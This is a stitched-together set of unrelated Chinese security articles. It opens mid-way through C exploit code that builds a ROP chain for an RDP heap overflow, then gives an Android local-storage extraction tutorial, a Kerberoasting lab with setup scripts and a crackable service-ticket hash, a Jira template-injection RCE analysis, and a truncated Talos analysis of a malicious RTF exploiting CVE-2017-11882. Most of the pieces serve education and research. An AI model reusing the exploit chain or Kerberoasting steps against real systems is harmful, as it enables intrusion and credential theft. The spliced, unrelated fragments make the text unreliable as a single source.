memcpy(&shellcode[ret3], &shellcode_addr, sizeof(shellcode_addr));
UINT64 virtprotect_arg4 = 924 - 96;
shellcode_addr = gdi_addr - 112; //rop virtprotect_arg4
memcpy(&shellcode[virtprotect_arg4], &shellcode_addr, sizeof(shellcode_addr));
UINT64 virtprotect_arg1 = 924 - 40;
shellcode_addr = gdi_addr - 888; //rop virtprotect_arg4
memcpy(&shellcode[virtprotect_arg1], &shellcode_addr, sizeof(shellcode_addr));
memcpy(&shellcode[900], &shellcode_addr, sizeof(shellcode_addr)); //ret to shellcode
respose_to_rdp_client(shellcode, 1060);//attack heap overflow
From the ROP chain to shellcode execution, the value of register RDI is not
overwritten, so when shellcode is executed, the stack address can be restored
through RDI. This is the simplest way:
`Mov rsp,rdi`
Finally, shellcode is executed.
For sharing only, do not use in other ways.
* * * | 社区文章 |
# 【系列分享】安卓Hacking Part 19：NoSQL数据库不安全的数据存储
|
##### 译文声明
本文是翻译文章，文章来源：infosecinstitute.com
原文地址：<http://resources.infosecinstitute.com/android-hacking-and-security-part-19-insecure-data-storage-with-nosql-databases/>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
稿费：100RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
在上一篇文章中，我们讨论了不安全的数据存储是如何影响Android应用程序的安全性的。在本文中，我们将继续讨论不安全的数据存储问题，不过这里与数据库密切相关。
当前，NoSQL已经被各个大型公司广泛采用。像谷歌和Facebook这样的巨人也在使用NoSQL来管理他们的“大数据”。当然，NoSQL仍然在肆意蔓延——
NoSQL数据库还可用于移动应用程序。虽然针对Android系统的NoSQL解决方案有多种，但是我们这里仅介绍Couchbase
Lite，在Android和iOS平台本地数据存储方面，这是一个非常不错的解决方案。
与前面讨论过的不安全数据存储概念相仿，即使以明文格式保存的NoSQL数据也可以通过各种技术（如“获取root权限的设备”、“备份技术”等）进行访问。本文将通过具体的示例应用程序为大家详细加以演示。
**NoSQL演示应用程序的功能**
让我们先看看这个应用程序的各种功能。
首先，请启动应用程序，这时将会显示如下所示的屏幕。
用户可以在应用中输入卡号，然后点击提交按钮。
如果一切顺利，用户将看到一个成功消息，如下所示。
查看源代码
在这个示例中，用户输入的数据将存储在表单文档中。
下面的示例代码来自于演示应用程序的代码。
String dbname = "carddetails";
// create a new database
Database database;
try {
database = manager.getDatabase(dbname); //manager is an object of Manager class.
} catch (CouchbaseLiteException e) {
return;
}
String cardnumber = editText.getText().toString().trim();
Map<String, Object> data = new HashMap<String, Object>();
data.put("cardnumber",cardnumber);
Document document = database.createDocument();
try {
document.putProperties(data);
} catch (CouchbaseLiteException e) {
}
上面的代码创建了一个HashMap的对象来保存名称-值对。然后，我们创建一个文档，并将数据插入这个文档中。
测试NoSQL数据：
让我们在模拟器中安装目标应用程序，并在其中插入一些样本数据。然后，我们将考察应用程序在哪里以及如何存储我们输入的数据。
就像我们之前所做的那样，先在模拟器上获取一个shell。
键入以下命令，切换至/data/data目录。
cd data/data/
现在，让我们导航到目标包所在的目录。为此，我们可以从AndroidManifest.xml文件中通过APKTOOL找到它。
就本例来说，具体可以运行以下命令。
cd com.androidpentesting.couchdatastorage
下面，我们运行“ls”命令来查看子目录。
root@generic:/data/data/com.androidpentesting.couchdatastorage # ls
cache
files
lib
root@generic:/data/data/com.androidpentesting.couchdatastorage #
虽然这里有许多目录，却没发现名为“databases”的目录。实际上，Couchbase Lite通常会将其数据存储在“files”目录中。
所以，让我们切换到files目录，并检查其中的文件。
root@generic:/data/data/com.androidpentesting.couchdatastorage/files # ls
carddetails
carddetails.cblite
carddetails.cblite-journal
root@generic:/data/data/com.androidpentesting.couchdatastorage/files #
我们可以看到扩展名为“.cblite”的文件，这正是我们的目标应用程序所生成的数据库文件。
让我们将这个文件复制到工作站上，以便于进一步深入研究。
root@generic:/data/data/com.androidpentesting.couchdatastorage/files # pwd
/data/data/com.androidpentesting.couchdatastorage/files
root@generic:/data/data/com.androidpentesting.couchdatastorage/files #
我们可以使用“adb pull”命令将这个文件“推送”到工作站，具体如下所示。
srini's MacBook:Desktop srini0x00$ adb pull /data/data/com.androidpentesting.couchdatastorage/files/carddetails.cblite
1027 KB/s (114688 bytes in 0.108s)
srini's MacBook:Desktop srini0x00$
好了，现在我们感兴趣的东西已经到手了。
我们需要一个客户端来查看提取的数据库的内容。
Couchbase Lite Viewer是一个可用于在Mac OSX平台上面查看Couchbase Lite内容的应用程序，其下载链接如下所示：
下载链接（<http://resources.infosecinstitute.com/android-hacking-and-security-part-19-insecure-data-storage-with-nosql-databases/#download> ）
下载完成后，启动程序，打开Couchbase Lite数据库。
这时，Couchbase Lite Viewer就会显示文件的内容，如上图所示。
如果你的系统不是Mac的话，可以使用strings命令，具体如下所示。
srini's MacBook:Desktop srini0x00$ strings carddetails.cblite | grep '12345'
1-2aa97aff5f838c5af074e497e8a3bd8f{"cardnumber":"12345"}
srini's MacBook:Desktop srini0x00$
如果您在Windows机器上无法使用字符串命令的话，可以使用Hex-Editor软件。
**
**
**传送门**
* * *
[**安卓 Hacking Part
1：应用组件攻防（连载）**](http://bobao.360.cn/learning/detail/122.html)
[**安卓 Hacking Part 2：Content
Provider攻防（连载）**](http://bobao.360.cn/learning/detail/127.html)
[**安卓 Hacking Part 3：Broadcast
Receivers攻防（连载）**](http://bobao.360.cn/learning/detail/126.html)
[**安卓 Hacking Part
4：非预期的信息泄露（边信道信息泄露）**](http://bobao.360.cn/learning/detail/133.html)
[**安卓 Hacking Part
5：使用JDB调试Java应用**](http://bobao.360.cn/learning/detail/138.html)
[**安卓 Hacking Part
6：调试Android应用**](http://bobao.360.cn/learning/detail/140.html)
[**安卓 Hacking Part
7：攻击WebView**](http://bobao.360.cn/learning/detail/142.html)
[**安卓 Hacking Part
8：Root的检测和绕过**](http://bobao.360.cn/learning/detail/144.html)
[**安卓 Hacking Part 9：不安全的本地存储：Shared
Preferences**](http://bobao.360.cn/learning/detail/150.html)
[**安卓 Hacking Part
10：不安全的本地存储**](http://bobao.360.cn/learning/detail/152.html)
[**安卓 Hacking Part
11：使用Introspy进行黑盒测试**](http://bobao.360.cn/learning/detail/154.html)
[**安卓 Hacking Part 12：使用第三方库加固Shared
Preferences**](http://bobao.360.cn/learning/detail/156.html)
[**安卓 Hacking Part
13：使用Drozer进行安全测试**](http://bobao.360.cn/learning/detail/158.html)
[**安卓 Hacking Part
14：在没有root的设备上检测并导出app特定的数据**](http://bobao.360.cn/learning/detail/161.html)
[**安卓 Hacking Part
15：使用备份技术黑掉安卓应用**](http://bobao.360.cn/learning/detail/169.html)
[**安卓 Hacking Part 16：脆弱的加密**](http://bobao.360.cn/learning/detail/174.html)
**[安卓 Hacking Part
17：破解Android应用](http://bobao.360.cn/learning/detail/179.html)**
[**安卓 Hacking Part 18：逆向工程入门篇**
****](http://bobao.360.cn/learning/detail/3648.html) | 社区文章 |
# 【技术分享】Kerberoasting：一种Kerberos活动目录攻击方法
##### 译文声明
本文是翻译文章，文章来源：xpnsec.com
原文地址：<https://blog.xpnsec.com/kerberos-attacks-part-1/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
最近一段时间，我一直在探索活动目录（Active Directory） **Kerberos**
攻击技术方面有何改进，以确保自己在这些领域能跟上时代的节奏，我发现这方面技术的确有不少的进步。这周我终于能挤出一点时间，卷起袖子大干一场，深入分析其中某些攻击技术的内部原理，希望能够整理出一些参考资料，供大家交流学习。
本文是这一系列文章中的第一篇。众所周知，我们可以使用 **Powerview** 或 **Mimikatz**
命令，通过Kerberos来攻击活动目录，本文的目的就是介绍这个攻击过程背后的原理，希望能借此给大家带来使用其他方法的灵感，或者至少帮助大家理解攻击过程，而不是只是停留在表面，认为一条“Invoke-RedTeaml33t”命令就能获得域管（DA）账户。
**
**
**二、实验环境**
在开始实验之前，搭建一个能自由操作的实验环境非常重要。在本文中，我所搭建的实验环境包含以下几个服务器：
**Windows Server 2016：域控制器**
**Windows Server 2016：Web服务器**
**Windows Server 2016：攻击主机**
这三个服务器都是通过VirtualBox部署的虚拟机。我曾多次尝试使用Vagrant所支持的WinRM功能来自动化创建实验环境，然而经过多个夜晚的努力，碰到过许多大坑，最终我还是决定创建一个基础的Windows
Server 2016虚拟机镜像，然后使用如下Powershell命令分别创建三个角色：
**1、Windows Server 2016：域控制器**
# Add our static IP address for this domain controller
New-NetIPAddress -InterfaceIndex 9 -IPAddress 172.16.14.1 -PrefixLength 24
# Add the domain controller role
Install-WindowsFeature AD-Domain-Services
Install-ADDSForest -DomainName lab.local -InstallDNS
# Restart our machine
Restart-Computer
# Create our IIS service account
New-ADUser -Name "IIS Service Account” `
-SamAccountName iis_svc -UserPrincipalName iis_svc@lab.local `
-ServicePrincipalNames "HTTP/iis.lab.local” `
-AccountPassword (convertto-securestring "Passw0rd" -asplaintext -force) `
-PasswordNeverExpires $True `
-PassThru | Enable-ADAccount
**2、Windows Server 2016：Web服务器**
# Add our static IP address for this domain controller
New-NetIPAddress -InterfaceIndex 9 -IPAddress 172.16.14.2 -PrefixLength 24
# Point our DNS resolver to the DC
Set-DnsClientServerAddress -InterfaceIndex 2 -ServerAddresses 172.16.14.1
# Set our machine to be "iis.lab.local"
Rename-Computer -NewName “iis”
# Add our machine to the domain
Add-Computer -DomainName lab.local
# Restart to join the domain
Restart-Computer
# Set up our IIS server configuration
Import-Module WebAdministration
# Remove the default website
Remove-Item 'IIS:SitesDefault Web Site' -Confirm:$false -Recurse
# Create our new app pool, and set to use our IIS service account
$appPool = New-WebAppPool -Name iis.lab.local_pool
$appPool.processModel.identityType = 3
$appPool.processModel.userName = “LABiis_svc”
$appPool.processModel.password = “Passw0rd”
$appPool | Set-Item
# Create our new website and enable Windows Authentication
$WebSite = New-Website -Name iis.lab.local -PhysicalPath “C:InetPubWWWRoot” -ApplicationPool ($appPool.Name) -HostHeader iis.lab.local
Set-WebConfigurationProperty -Filter /system.WebServer/security/authentication/anonymousAuthentication `
-Name enabled -Value $false -Location $Fqdn
Set-WebConfigurationProperty -Filter /system.WebServer/security/authentication/windowsAuthentication `
-Name enabled -Value $true -Location $Fqdn
Set-WebConfigurationProperty -Filter /system.webServer/security/authentication/windowsAuthentication `
-Name useAppPoolCredentials -Value $true -Location $Fqdn
**3、Windows Server 2016：攻击主机**
# Add our static IP address for this domain controller
New-NetIPAddress -InterfaceIndex 9 -IPAddress 172.16.14.3 -PrefixLength 24
# Point our DNS resolver to the DC
Set-DnsClientServerAddress -InterfaceIndex 2 -ServerAddresses 172.16.14.1
# Add our machine to the domain
Add-Computer -DomainName lab.local
# Restart to join the domain
Restart-Computer
我还对Virtualbox做了些设置，为每个虚拟机分配一个网络接口，以连接内部的“域”网络，因此，一旦所有虚拟环境构建完毕，我们就能得到一个拓扑简单的网络，其中包含3个IP地址，这些IP已全部加入到“lab.local”域中。
现在我们已经拥有一个训练环境，可以自由尝试基于Kerberos的攻击技术，接下来我们先来看看第一种攻击技术：Kerberoasting。
**
**
**三、什么是Kerberoasting**
Kerberos协议在请求访问某个服务时存在一个缺陷，Kerberoasting正是利用这个缺陷的一种攻击技术。最近一段时间，这种方法的“名气”越来越大，今年的[Derbycon](https://www.irongeek.com/i.php?page=videos/derbycon7/t107-return-from-the-underworld-the-future-of-red-team-kerberos-jim-shaver-mitchell-hennigan)上会有一个演讲专门讨论这个话题。
人们开发了许多工具，以简化Windows域上完成Kerberoasting攻击所需的过程。这里我准备使用的是“Invoke-Kerberoast”，这是PowerSploit工具集中的一个Powershell
commandlet，由[HarmJ0y](https://twitter.com/harmj0y?lang=en)开发。你可以先看看他写的[博客](https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/)，了解更多背景知识，此外，记得订阅他的博客。
在深入分析这种方法的原理之前，我们可以先直观感受一下合适的工具如何简化我们的攻击过程：
从这段视频中，我们可以了解到如何使用这个简单的commandlet来攻击活动目录，然而，作为一名真正的黑客，你应该迫切希望了解漏洞利用背后的具体细节。首先，我们来整体了解一下实际用户请求访问某个服务时会经过哪些步骤：
1、用户将AS-REQ数据包发送给KDC（Key Distribution Centre，密钥分发中心，此处为域控），进行身份认证。
2、KDC验证用户的凭据，如果凭据有效，则返回TGT（Ticket-Granting Ticket，票据授予票据）。
3、如果用户想通过身份认证，访问某个服务（如IIS），那么他需要发起（Ticket Granting
Service，票据授予服务）请求，请求中包含TGT以及所请求服务的SPN（Service Principal Name，服务主体名称）。
4、如果TGT有效并且没有过期，TGS会创建用于目标服务的一个服务票据。服务票据使用服务账户的凭据进行加密。
5、用户收到包含加密服务票据的TGS响应数据包。
6、最后，服务票据会转发给目标服务，然后使用服务账户的凭据进行解密。
整个过程比较简单，我们需要注意的是，服务票据会使用服务账户的哈希进行加密，这样一来，Windows域中任何经过身份验证的用户都可以从TGS处请求服务票据，然后离线暴力破解。
在继续工作之前，我们还需要了解一下SPN的相关知识，这是在域环境中搜索账户的关键一环。
**
**
**四、服务主体名称（SPN）**
微软对 **SPN** 的描述如下：
“SPN是服务实例的唯一标识符。Kerberos身份认证过程中需要使用SPN，以便将服务实例与服务登录账户相关联。”
也就是说，SPN是唯一标识符，用于将域账户与服务及主机关联起来。Windows域环境中的SPN格式如下所示：
SERVICE/host.name
比如，在我们的实验环境中，所使用的IIS实例如下所示：
HTTP/iis.lab.local
这个SPN与服务所对应的账户相关联，在演示环境中，所关联的账户为“LABiis_svc”。在LDAP中，通过将“servicePrincipalName”属性的值设为目标SPN，就能实现这种绑定关系：
这里我们还需要注意到一点，活动目录中的计算机账户本质上也是服务账户，其在LDAP中也有关联的SPN。这一点不难理解，因为系统经常会使用Kerberos来请求以LOCAL
SYSTEM身份运行的服务，如SMB或者远程注册表服务等。不幸的是，对攻击者而言，计算机账户的密码长度较长，比较复杂，并且每30天会进行重置，也就是说攻击者无法暴力破解这些账户凭证。
现在我们已经了解账户如何与Kerberos服务相关联，接下来我们可以继续分析Kerberoasting攻击技术的内部工作原理。
**
**
**五、Kerberoasting工作原理**
在实验环境中，我们可以在请求IIS网站的过程中运行抓包程序，以查看网络中传输的数据包。为了生成网络流量，我们可以使用如下命令，使用Kerberos对IIS服务进行身份验证：
Invoke-WebRequest http://iis.lab.local -UseDefaultCredentials -UseBasicParsing
通信完成后，在Wireshark中我们可以看到如下数据包：
如前文所述，最开始的两个数据包为AS-REQ以及AS-REP，用户通过这两个数据包与KDC进行身份认证，以获取TGT。对Kerberoasting而言最为重要的部分为TGS-REQ以及TGS-REP数据包。
首先，我们来观察一下TGS-REQ数据包的内容：
我们可以看到，这个数据包正在请求LAB.LOCAL域中的HTTP/iis.lab.local
SPN，根据我们前面所执行的操作，这些信息理解起来非常直观。我们可以使用Windows自带的SetSPN.exe工具来定位提供这个SPN的具体账户，具体命令如下：
setspn.exe /Q HTTP/iis.lab.local
这条命令会返回我们在实验环境中建立的“IIS Service Account”账户。
接下来，观察TGS-REP数据包，我们可以发现一个服务票据，该服务票据使用LABiis_svc服务账户的密码来加密（这个例子中使用的是RC4加密算法）：
正是这段数据可以让我们在离线状态下进行暴力破解，因为我们知道服务账户密码是解密服务票据数据的唯一密钥。
这基本上就是整个攻击过程的所有过程。总结一下，Kerberoasting攻击涉及如下步骤：
1、攻击者在活动目录中搜索带有servicePrincipalName属性的账户。
2、攻击者向域控制器发起请求，请求特定服务的服务票据。
3、随后，攻击者收集服务票据，在离线环境中进行破解，得到服务账户的密码。
接下来还需要做的事情，就是将这段数据移交给密码破解工具进行处理，如JTR（John the
Ripper）工具。如果我们观察JTR所使用的哈希格式，可知我们需要提供如下格式的数据：
$krb5tgs$<ENCRYPTION_TYPE>$*<USERNAME>$<REALM>$<SPN>*$<FIRST_16_BYTES_TICKET>$<REMAINING_TICKET_BYTES>
为了完成攻击过程，我们需要手动填充这个字符串，我们可以在Wireshark抓包结果中提取相应字段加以填充，最终得到如下字符串：
$krb5tgs$23$*iis_svc$LAB.LOCAL$HTTP/iis.lab.local*$0F6FC474DB169AA8CE9B5E626DAACC9D$1A346CE3F66C52976F53831AA24A1B217CDF0D68A0EB87FEE00CFD32F544BF83EBB6416732522B12232DD6935EAC076B439F56E6CB7FA6C37D984D132E2D2CB65CA399CD5E44EB2EB41F12C40F9044B40E3EA914278C8A3098BABACF49AB46E776D1413EF63ABCDF6418D2DB9241B2FDD9309346EC59AF20A82FD6DAEA9510C1DFD1A9E8D99C59FF72E985057BA0D18394B0A7CB1BD74F8D436A3DD780175A0C6BCAD9E46570A476AB9913B561EE481AD8C33A3C81CED055E959F08A52EBA7A342F53183E1531BE8EC2D28C7ECFA32F98DBC7FF87B4E5C79824F3868D38CE09010960726D58CFBFC88C9D34AB199169F39010AA4AAB92B6EA40F875963D518311B3F079D97B65FE9768C9A4EE50F7C16D525FDC081CE359A0B0FE5FB18D8D8690D8F88B010BEF4F28DC151A4137272AE9EACA9053406C0DDEAE453196E3B6C28B8359724BFC089B772CBAE093BF88ABC070D12B0FF2E721D7B8B10B822BFB514091EFFAF3F5FA8C286A9E45BF76BA171E6CABEB3DDADC297185C51A295855B8CFA8062BD6770093355C32690FD184D6EAE2B66EA1F553CBC7679681DB5089FDB23329EFE59DE807E657A98CCC0C2D95EAAC9F363D5B8C9B8A23AAB680C328B019AE99440A5D8795014BE22F6739A4F77874E94196F010C012F9A4A587570C38874AD7F8B9EC554FB865752A5F3DD4F785C9AF54031100CE580DFADF4C70FF11839647FC288FCE8D00BBCB680E02A46230ECB0530BA1771FB8485BA17F5218852C5CDFC769B89D77B37802CC6D22E6BA944F6E4B565D8D04418C44BF10E06294FD58913CA6D206BB6E46F15B3ABFC09695F5FBAB81D2E743AC19B24716D9D6CB6BAE65674F5CDF1935D1413A4BE6D96EAFAF65CFA361DECC0AB1E12998B5C26B6AD38C8077FD149CDEDA227C4C68F19FBF22B23E7E84581A64A413C1C983E01B56C2000656B4AAD8C67260FC0142EECCD96D624FA284B619D11E797AF2D730A5998D9E6D9F4FEF58A847D7D9B804BE2925BEAE627A0A9F335072F97F214A24DB58CF5E2E74F0EEFF1A43F1EC1B88C0110F3C2ABAAC0D3E954A42B550C37CF84BABE6E85EC4E0885EB8309A4C5E2A1BB473B332FF5C31C0B4C32DB507C1ECA5B7AE607D2423EE1E7F07361229E0AB2678CFBD07AFFFC5E989C5AB1821AC2F524083258D3F0CA7E7F8250BE3F7CC72CF636B098A3C9B3F4E289FD81A9B3C33BFA63ED8813BBC12205134ADD9FB8548312B734C921A2CF8A1687AF7EE022B0F57BBF0F8D8F17952614CB288B95DF3FE4F03D20B83227328603DAFB264537EB0CACDA18DE21AA99E07600030424EDB41FC3C8161238971BF62AF99DB8E2D438AF06F9D8FEEFF3EDB6A4D4F0A6FB5DFDBE99B1ED454D6FF3DC508C45ED430923212A088E6200B2076DA509888EDD32FCA946A215C8934DB7A3B5AC6BED10E4A114F2F132608DBE236CBA73CBCFFC024FB500E96C3D766CA7F4083DED3666C2B7DCD290F65F7E80FF70FA575777A845FBF7AF05B38DFB1CCD7ACCC0398F8DBF532E28DC6BC0EC49D18F2753CAEC5912693A0B6050F2BFCE72F5160847DCFC78D580609007DDBDF1F338C61C13E7B62FCEC6E51D1C0CD1EC0167E40042`
将这段数据传递给JTR处理，可以得到所需的密码，解密结果如下所示：
**六、总结**
本文手动梳理了一遍Kerberoasting的攻击过程，希望你能对这种攻击方法有所理解。接下来，我们会介绍与之类似的一些攻击方法及相应的工作原理，比如AS-REP Roasting攻击方法，这种攻击方法与Kerberoasting攻击方法非常相似。
还是那句话，如果你有任何反馈意见或建议，欢迎随时跟[我](https://blog.xpnsec.com/about/)联系 | 社区文章 |
**作者：绿盟科技伏影实验室**
**本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：paper@seebug.org**
### 环境搭建
使用`atlas-debug`调试
1. 下载安装`Atlassian SDK`，[地址](https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-windows-system/)；
2. `atlas-create-jira-plugin`创建一个插件，[参考](https://developer.atlassian.com/server/framework/atlassian-sdk/create-a-helloworld-plugin-project/)；
3. `atlas-debug`开启调试，http端口2990，调试端口5005；
4. `IDEA`打开`MyPlugin`，把`WEB-INF/classes`和`WEB-INF/lib`加入library；
5. 新建`Remote`调试；
其他：
1. 如果没有设置`%JAVA_HOME%`可以通过`SET JAVA_HOME=d:\jdk1.8`设置；
2. 默认不开启电子邮件发送，通过`atlas-debug --jvmargs -Datlassian.mail.senddisabled=false`开启；
### 第一部分：注入代码并生成邮件
`post`的数据通过`JiraSafeActionParameterSetter->setActionProperty()`方法
通过反射调用到`ContactAdministrators.setSubject()`方法，把`ContactAdministrators`对象的`subject`属性设置为传入的`subject`
随后通过`ContactAdministrators.doExecute()`调用`send()`方法，在这个方法中会查找系统中已激活的管理员，通过`this.sendTo(administrator)`将邮件发送给该管理员
在`sendTo()`流程中，`Jira`需要通过`EmailBuilder()`方法创建一个邮件队列对象，随后将该对象放入邮件发送队列中。由于队列等待原因，所以触发`payload`可能需要等待一段时间，并且当邮件发送失败时系统会继续尝试发送邮件，所以`payload`可能会触发多次。
创建队列的方法有点长，精简一下就是这个样子
MailQueueItem item = (new EmailBuilder()).withSubject(this.subject).withBodyFromFile().addParameters().renderLater();
通过`EmailBuilder`的`withSubject()`方法，创建一个`TemplateSources$fragment`对象，参数即是我们传入的`payload`，随后调用`renderLater()`方法创建出`EmailBuilder`对象，再将该对象作为参数传递给`RenderingMailQueueItem`类，`RenderingMailQueueItem`的继承关系是如下图，于是最终创建出一个`MailQueueItem`对象，并将该对象放入邮件发送队列。
### 第二部分：发送邮件
当我们把`payload`注入到模板中之后，邮件进入待发送队列，`Jira`中处理邮件队列的具体流程如下：
通过模板引擎`(getTemplatingEngine)`生成一个Velocity模板，通过`applying()`方法生成`RenderRequest`对象，之后根据该对象成员变量`source`的类型，调用不同的方法解析模板，漏洞的产生正是由于这个差异造成的，下面详细分析一下。
首先进入`RenderingMailQueueItem().send()`方法，调用`this.emailRenderer.render()`，随后调用
this.getTemplatingEngine().render(this.subjectTemplate).applying(contextParams).asPlainText();
这个过程中前面是为了获取模板解析引擎（VelocityTemplatingEngine）并传入主题模板（此处为payload数据），通过`applying()`方法创建`VelocityContext`对象并把`payload`赋值给成员变量`source`
随后重写了抽象类`StringRepresentation`的`with()`方法，在`with()`方法中调用了`asPlainText()`方法
DefaultRenderRequest.this.asPlainText(sw)
`asPlainText()`的作用是通过`Velocity`模板引擎解析模板，其中的调用链是
toWriterImpl()->writeEncodedBodyForContent()->evaluate()
而在`evaluate()`方法中生成了`AST`结构，随后通过反射调用传入的`payload`，完成代码执行。
`asPlainText()`之后的调用栈如下
在处理完Object模板后会调用父类`SingleMailQueueItem`的send()方法，通过`smtpMailServer.sendWithMessageId()`发送邮件，由于没有正确配置`SMTP`服务会抛出异常，但在连接`SMTP`服务之前漏洞已经触发了，控制台也能看到`MailQueue`执行的过程。
### 思考
上述漏洞流程走完了，但还有一个关键问题没有解决：为什么邮件主题`Subject`会被解析成`AST`结构并被执行呢？按照正常发送反馈的逻辑，一封邮件的主题（字符串）似乎没有必要解析成`AST`，导致差异的原因是什么？
发送一封正常的“联系管理员”邮件，走一遍流程
对比一下两个处理流程，当发送正常反馈时，`writeEncodedBody()`中调用的是`this.getVe().mergeTemplate`，通过`Velocity`引擎的`ClasspathResourceLoader()`类的`getResourceStream()`方法加载模板文件，此处的模板是`templates/email/html/contactadministrator.vm`，随后还会进行`header`、`footer`等正常加载流程，最终渲染出整个页面。而发送`payload`时，通过asPlainText()创建出TemplateSource$Fragment对象，再通过DefaultRenderRequest构造方法把`source`成员变量赋值为这个`Fragment`对象，于是进入第一个分支，调用的是`this.getVe().evaluate()`，最终调用`ASTMethod.execute()`，这正是前面说的差异性导致的两个不同处理逻辑。
回过头看一下Velocity渲染的大致流程：
>
> Velocity渲染引擎首先磁盘加载模板文件到内存，然后解析模板模板文件为AST结构，并对AST中每个节点进行初始化，第二次加载同一个模板文件时候如果开启了缓存则直接返回模板资源，通过使用资源缓存节省了从磁盘加载并重新解析为AST的开销。
而`ASTMethod.execute()`方法设计之初是在`Velocity
parse`解析模板的过程中，通过反射调用相关方法完成正常模板渲染动作，例如获取背景颜色、获取text内容、获取页面编码等，但当此处攻击者传入精心构造的数据后，利用反射执行了`java.lang.Runtime.getRuntime`，成功达到命令执行的目的，漏洞利用十分精巧。
### 参考
* <https://confluence.atlassian.com/jira/jira-security-advisory-2019-07-10-973486595.html>
* <https://developer.atlassian.com/server/framework/atlassian-sdk/atlas-debug/>
* <https://developer.atlassian.com/server/framework/atlassian-sdk/create-a-helloworld-plugin-project/>
* <http://ifeve.com/velocity%E5%8E%9F%E7%90%86%E6%8E%A2%E7%A9%B6/>
* * * | 社区文章 |
本文章为翻译稿件，原内容为https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html
### 行动概述
思科Talos发现了一个新的恶意软件活动，该活动不再使用名为“Agent Tesla”或其他的木马例如“Loki信息窃取者”来窃取信息。
最初，Talos的遥测系统检测到一个十分可疑的文档，但这些文档并没有被常用病毒库所采集。然而，思科的恶意软件分析威胁情报平台Threat
Grid将未知文件识别为恶意软件。此恶意软件背后的利用者使用了著名的攻击链，并使用此方式对软件进行了修改以便防病毒解决方案无法检测到它。在这篇文章中，我们将概括更多的攻击手段，以及使用复杂软件来跟踪这类攻击的重要性。如果此类病毒未被发现，那么Agent
Tesla可以从许多重要的软件中窃取用户的登录信息，例如从Google Chrome，Mozilla Firefox，Microsoft
Outlook等。除此之外，它还可用于捕获屏幕截图，记录网络摄像头，并令被攻击主机的系统上安装其他恶意软件。
### 技术细节
在大多数情况下，攻击的第一阶段发生的方式与FormBook恶意软件活动所发生的情况类似，对此，我们在今年早些时候发过一篇博客文章，并对此进行过讨论。
之前FormBook活动背后的攻击者使用CVE-2017-0199（多个版本的Microsoft
Office中的远程执行代码漏洞）从恶意DOCX文件中下载并打开RTF文档。我们还发现了一些新的攻击被使用来分发Tesla和Loki代理以便于利用CVE-2017-11882。其中一个恶意软件分发URL的示例位于下面的屏幕截图中。
除了Tesla和Loki代理外，这个软件还分发了更多恶意代码，例如Gamarue。对于此恶意程序，
它能够完全接管用户的机器并对用户信息进行窃取。
在Tesla代理工作的情况下，我们可以发现下载的RTF文件带有SHA256散列：`cf193637626e85b34a7ccaed9e4459b75605af46cedc95325583b879990e0e61`。
在分析文件时，防病毒扫描网站VirusTotal并没有对此文件内容进行检测。58个防病毒程序中只有两个发现其内含有可疑内容。并仅仅以“警告格式错误”来标记此RTF文件。例如：AhnLab-V3将其标记为“RTF
/ Malform-A.Gen”，而Zoner将它被标记为“RTFBadVersion”。
但是，思科的Threat Grid却显示出不同的检测内容，并将该文件标识为恶意软件。
上面的图2只显示了触发行为指标（BI）的一个子集，下面的流程树显示了高度可疑的恶意执行链。
在下图中，我们可以看到Winword.exe启动，稍后，svchost进程执行了Microsoft公式编辑器（EQNEDT32.exe）并启动一个名为“scvhost.exe”的进程。
公式编辑器是Microsoft Office用作辅助应用程序的工具，用于将数学方程式嵌入到文档中。 例如，Word使用OLE /
COM函数启动公式编辑器，它与我们在下图中看到的内容相匹配。公式编辑器启动其他可执行文件的情况非常罕见，如图所示的可执行文件。更不用说使用这样一个相似名称的可执行文件，如系统文件“svchost.exe”本身就是可疑的。
用户很容易忽略软件名称被修改的情况。
下面的Threat Grid进程时间表确认此文件的行为与典型的恶意软件相似。
您可以在上图中的第1点和第2点看到公式编辑器下载了一个名为“xyz [1]
.123”的文件，然后创建了scvhost.exe进程，该进程之后创建了自己的另一个实例[scvhost.exe(26)] （蓝色矩形框中）。
典型的命令和控制（C2）流量紧跟在第4点。至此，我们确信这是一个恶意软件。
然而问题出现，我们系统中为何没有检测装置检测到它？它是如何绕过检测的？
### 恶意的RTF文件
作为跨平台文档交换，RTF标准是Microsoft面向开发的专有文档文件格式。
简化的标准RTF文件看起来就像在图中看到的那样。它由文本和控制字（字符串）构成。 上半部分是源代码，下半部分是此文件在Microsoft
Word中的显示方式。
尽管RTF文件被严重混淆，我们依然能够使用rtfdump / rtfobj工具来验证结构并提取实际的对象数据有效负载。
图8显示的是该文件尝试启动Microsoft公式编辑器（类名：EQuATioN.3）
在图6中，您还可以看到攻击者正在使用\
objupdate技巧。这会强制嵌入对象在显示之前进行更新，换句话说，用户在加载之前不必单击该对象。这就是“普通”对象的情况。
但是如果强制打开文件，攻击将会立即开始。
让我们看看上面关于转换为十六进制二进制流的objdata内容。在此处可以找到更多标题详细信息。
我们可以找到FormBook帖子中描述的类似MTEF标题，但是为了避免检测，攻击者已经改变了标题的值。唯一的区别是，除了在MTEF版本字段中，actor也使用随机值填充了头字段。
MTEF版本字段需要为2或3才能使漏洞利用起作用。
在MTEF标题之后，我们有一两个字节的未知MTEF字节流标记（F1 01），其后跟一个字体标记（08 E0 7B ...）。字体标记后面的字节（B9 C3
...）看起来不像正常的字体名称，所以这是一个很好的指标，我们正在寻找一个漏洞利用。字节看起来与我们之前提到的研究中看到的非常不同，下面让我们解码它们。
这与我们之前看到的非常相似。 在图12中，您可以看到我们之前研究中的解码shellcode。
对手刚刚更改了寄存器和其他一些小部件。 在这一点上，我们已经非常确定这是CVE-2017-11882，下面让我们来证明这一点。
### PYREBOX ROCK 'N' ROLL
